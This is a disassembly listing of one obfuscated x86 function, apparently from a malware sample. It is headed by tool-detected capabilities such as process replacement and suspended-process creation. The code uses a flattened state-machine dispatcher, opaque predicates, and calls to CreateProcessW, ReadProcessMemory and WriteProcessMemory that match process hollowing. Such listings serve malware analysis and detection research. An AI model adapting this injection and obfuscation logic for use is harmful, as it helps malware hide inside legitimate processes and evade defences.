Function at 0x100106e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1e0
mov eax, dword [0x10090080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1e8], 0xd6d5d9cb
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], eax
sub eax, 0x81a7b734
je 0x100179ae
jmp 0x1001071c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x81c8b83d
je 0x10014cac
jmp 0x10010732
mov eax, dword [ebp - 0x1ec]
sub eax, 0x81d8620e
je 0x100145fd
jmp 0x10010748
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8492b8b7
je 0x10017070
jmp 0x1001075e
mov eax, dword [ebp - 0x1ec]
sub eax, 0x849c4870
je 0x1001711c
jmp 0x10010774
mov eax, dword [ebp - 0x1ec]
sub eax, 0x881b0904
je 0x10012b57
jmp 0x1001078a
mov eax, dword [ebp - 0x1ec]
sub eax, 0x88cc387d
je 0x10013bf6
jmp 0x100107a0
mov eax, dword [ebp - 0x1ec]
sub eax, 0x89324625
je 0x10017585
jmp 0x100107b6
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8932491e
je 0x100135a4
jmp 0x100107cc
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8a1e3988
je 0x1001826e
jmp 0x100107e2
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8a395307
je 0x10016c44
jmp 0x100107f8
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8abc3c4b
je 0x100151b1
jmp 0x1001080e
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8b62332b
je 0x10016984
jmp 0x10010824
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8b794abb
je 0x10016762
jmp 0x1001083a
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8c15ddc2
je 0x10014120
jmp 0x10010850
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8c40f1b5
je 0x10015b1a
jmp 0x10010866
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8c9dc65e
je 0x10014bfb
jmp 0x1001087c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8ce29695
je 0x10017f57
jmp 0x10010892
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8db56c8f
je 0x10017eb3
jmp 0x100108a8
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8e9ee951
je 0x100138fc
jmp 0x100108be
mov eax, dword [ebp - 0x1ec]
sub eax, 0x90ca7e9f
je 0x100152d8
jmp 0x100108d4
mov eax, dword [ebp - 0x1ec]
sub eax, 0x91118030
je 0x10016ac2
jmp 0x100108ea
mov eax, dword [ebp - 0x1ec]
sub eax, 0x911ffbbc
je 0x10013ef6
jmp 0x10010900
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9125db3d
je 0x10014ea5
jmp 0x10010916
mov eax, dword [ebp - 0x1ec]
sub eax, 0x91adffa1
je 0x10016c95
jmp 0x1001092c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x91eb185e
je 0x10014017
jmp 0x10010942
mov eax, dword [ebp - 0x1ec]
sub eax, 0x924732e8
je 0x100142fd
jmp 0x10010958
mov eax, dword [ebp - 0x1ec]
sub eax, 0x92a4658f
je 0x10013c64
jmp 0x1001096e
mov eax, dword [ebp - 0x1ec]
sub eax, 0x930e31a0
je 0x1001807b
jmp 0x10010984
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9445d8e3
je 0x10017a44
jmp 0x1001099a
mov eax, dword [ebp - 0x1ec]
sub eax, 0x960ae531
je 0x100155ac
jmp 0x100109b0
mov eax, dword [ebp - 0x1ec]
sub eax, 0x96926888
je 0x10013da8
jmp 0x100109c6
mov eax, dword [ebp - 0x1ec]
sub eax, 0x987d7d06
je 0x10016f45
jmp 0x100109dc
mov eax, dword [ebp - 0x1ec]
sub eax, 0x989a2b15
je 0x10012e6c
jmp 0x100109f2
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9966865a
je 0x10016b90
jmp 0x10010a08
mov eax, dword [ebp - 0x1ec]
sub eax, 0x99e8f264
je 0x10015ef2
jmp 0x10010a1e
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9a5a0f7c
je 0x10015338
jmp 0x10010a34
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9ad4e1a7
je 0x1001418e
jmp 0x10010a4a
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9b06bf71
je 0x10014f0f
jmp 0x10010a60
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9b61f5af
je 0x100160f6
jmp 0x10010a76
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9b7c6655
je 0x10012cb5
jmp 0x10010a8c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9be5c593
je 0x10018169
jmp 0x10010aa2
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9c507438
je 0x100178e0
jmp 0x10010ab8
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9dadd57c
je 0x10017246
jmp 0x10010ace
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9eabb0a6
je 0x100143e1
jmp 0x10010ae4
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9f496961
je 0x100137e9
jmp 0x10010afa
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9fadfb28
je 0x100137f8
jmp 0x10010b10
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa0747a3e
je 0x10015c98
jmp 0x10010b26
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa0869ac6
je 0x10014630
jmp 0x10010b3c
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa0cc1090
je 0x10014d22
jmp 0x10010b52
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa13a7fc8
je 0x100166f3
jmp 0x10010b68
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa1408758
je 0x100167d2
jmp 0x10010b7e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa21a409d
je 0x10017255
jmp 0x10010b94
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa36375a5
je 0x10017bf7
jmp 0x10010baa
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa381a9ed
je 0x10014723
jmp 0x10010bc0
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa4498c4f
je 0x10015d98
jmp 0x10010bd6
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa4bb8525
je 0x100180c4
jmp 0x10010bec
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa4cde58a
je 0x10017f2a
jmp 0x10010c02
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa50b84ae
je 0x10015168
jmp 0x10010c18
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa5377135
je 0x100156a6
jmp 0x10010c2e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa5f27a1e
je 0x10017167
jmp 0x10010c44
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa613e4b4
je 0x10013db7
jmp 0x10010c5a
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa66660f1
je 0x10012de7
jmp 0x10010c70
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa6cb35a9
je 0x100139e4
jmp 0x10010c86
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa753b6a9
je 0x10014418
mov dword [ebp - 0x16c], 0xefb8ed2
mov dword [ebp - 0x1e8], 0xc7b69cae
jmp 0x10018336
mov eax, dword [ebp - 0x16c]
sub eax, 0x335a1b39
add eax, 1
add eax, 0x335a1b39
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x1e8], 0x31345c61
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x190ceca8
jmp 0x10018336
mov eax, dword [ebp - 0x138]
cmp eax, 0xefb8ed9
setg al
and al, 1
mov byte [ebp - 0x132], al
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe94614bd
mov ecx, 0x674b8739
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, byte [ebp - 0x129]
mov eax, 0xcedd6496
mov ecx, 0xd9b1099b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x9fadfb28
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xcf25ab06
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
sub edx, 0xcd40c358
sub edx, 1
add edx, 0xcd40c358
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a5f65e2
mov ecx, 0x5da39a88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
add edx, 0xbfe55eae
sub edx, 1
sub edx, 0xbfe55eae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd3c5897
mov ecx, 0x49d826b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8db56c8f
mov ecx, 0x92a4658f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
add edx, 0xfba710ba
sub edx, 1
sub edx, 0xfba710ba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8db56c8f
mov ecx, 0x5f26e792
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xa613e4b4
jmp 0x10018336
mov byte [ebp - 0x179], 1
mov dword [ebp - 0x1e8], 0x14886569
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xd290848b
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xe1f7e48
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23dbf97b
mov ecx, 0x9ad4e1a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
add edx, 0x7d9a0267
sub edx, 1
sub edx, 0x7d9a0267
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23dbf97b
mov ecx, 0x490c29e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4cde58a
mov ecx, 0x3d50932b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, byte [ebp - 0x119]
mov eax, 0xf610923f
mov ecx, 0xbd473c33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, 1
mov eax, 0xa381a9ed
mov ecx, 0x5e25ad8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8ce29695
mov ecx, 0xa8521a91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov byte [ebp - 0x17a], 1
mov dword [ebp - 0x1e8], 0xe188cc79
jmp 0x10018336
mov eax, 0x8dbd5b
mov ecx, 0x3e701d9f
cmp dword [ebp - 0x184], 0xefb8ed7
cmovg eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
add edx, 0xb3305752
sub edx, 1
sub edx, 0xb3305752
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ef22536
mov ecx, 0xa0cc1090
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x9125db3d
jmp 0x10018336
mov dword [ebp - 0x188], 0xefb8f12
mov dword [ebp - 0x1e8], 0x2caa6969
jmp 0x10018336
cmp dword [ebp - 0x188], 0xefb8eef
setg al
and al, 1
mov byte [ebp - 0x10a], al
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
sub edx, 0x5c9a4846
sub edx, 1
add edx, 0x5c9a4846
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8d30b75
mov ecx, 0x74fdb916
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, byte [ebp - 0x109]
mov eax, 0x3ecb26e
mov ecx, 0xe81ba570
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x1e8], 0x90ca7e9f
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x6482c20e
jmp 0x10018336
mov byte [ebp - 0x189], 0
mov al, byte [ebp - 0x189]
and al, 1
mov byte [ebp - 0x101], al
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3fc0814
mov ecx, 0x6612c01a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x743ebecd
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xbee5b1bb
jmp 0x10018336
mov dword [ebp - 0x190], 0xefb8f0f
mov dword [ebp - 0x1e8], 0xe3896a3e
jmp 0x10018336
mov dword [ebp - 0x190], 1
mov dword [ebp - 0x1e8], 0xb751ac10
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
add edx, 0xcda5b58f
sub edx, 1
sub edx, 0xcda5b58f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4bb8525
mov ecx, 0xfc8672bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
sub edx, 0xd2a01388
sub edx, 1
add edx, 0xd2a01388
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x609303b8
mov ecx, 0x66145705
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaa6d319c
mov ecx, 0x68619e18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov edx, dword [ebp - 0x1ac]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x1e8], 0x8b794abb
jmp 0x10018336
mov edx, dword [ebp - 0xe8]
mov eax, 0xdff692c2
mov ecx, 0xc8d0093b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.1000ffe0
add esp, 4
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1e8], 0x2a713493
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9be5c593
mov ecx, 0xfb155429
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x2ff7ccb5
jmp 0x10018336
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0xd8]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xcd], al
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
sub edx, 0x494a6b62
sub edx, 1
add edx, 0x494a6b62
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x77971c66
mov ecx, 0x30feedf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
sub edx, 0x254413dd
sub edx, 1
add edx, 0x254413dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d636a31
mov ecx, 0x91adffa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x164]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d636a31
mov ecx, 0xf0541b49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, byte [ebp - 0xad]
mov eax, 0xde94a5a9
mov ecx, 0xc7c500fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbdc2ff4f
mov ecx, 0xd39ed7c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dl, byte [ebp - 0x99]
mov eax, 0x1e65158
mov ecx, 0x27c2e109
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x94]
mov esi, dword [eax]
mov edx, dword [ebp - 0x98]
mov eax, 0x1e65158
mov ecx, 0xe5460e64
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xa21a409d
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
sub edx, 0x125c0cfe
sub edx, 1
add edx, 0x125c0cfe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9bc6f46
mov ecx, 0x22002286
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x1e4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
add ecx, 0x29a9efb1
add ecx, eax
sub ecx, 0x29a9efb1
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x150]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x148]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0x3d4e0628
mov ecx, 0xea983b7
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13fbc95d
mov ecx, 0x577a4fc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x78], eax
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
sub edx, 0xfea7732
sub edx, 1
add edx, 0xfea7732
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3033e9cf
mov ecx, 0xa979987b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov eax, dword [0x1009152c]
mov ecx, dword [0x10091528]
mov edx, eax
add edx, 0x48e6ff3b
sub edx, 1
sub edx, 0x48e6ff3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x750b890e
mov ecx, 0x759669b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov ecx, dword [0x1009152c]
mov eax, dword [0x10091528]
mov edx, ecx
add edx, 0xd25aa96e
sub edx, 1
sub edx, 0xd25aa96e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x99caef3
mov ecx, 0x1771be63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e8], eax
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x92a4658f
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x3d50932b
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xa8521a91
jmp 0x10018336
mov dword [ebp - 0x1e8], 0x3dbadad4
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xa4498c4f
jmp 0x10018336
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x198]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x19c]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x1a0]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1e8], 0xfb155429
jmp 0x10018336
mov dword [ebp - 0x1e8], 0xe5214799
jmp 0x10018336
jmp 0x10010700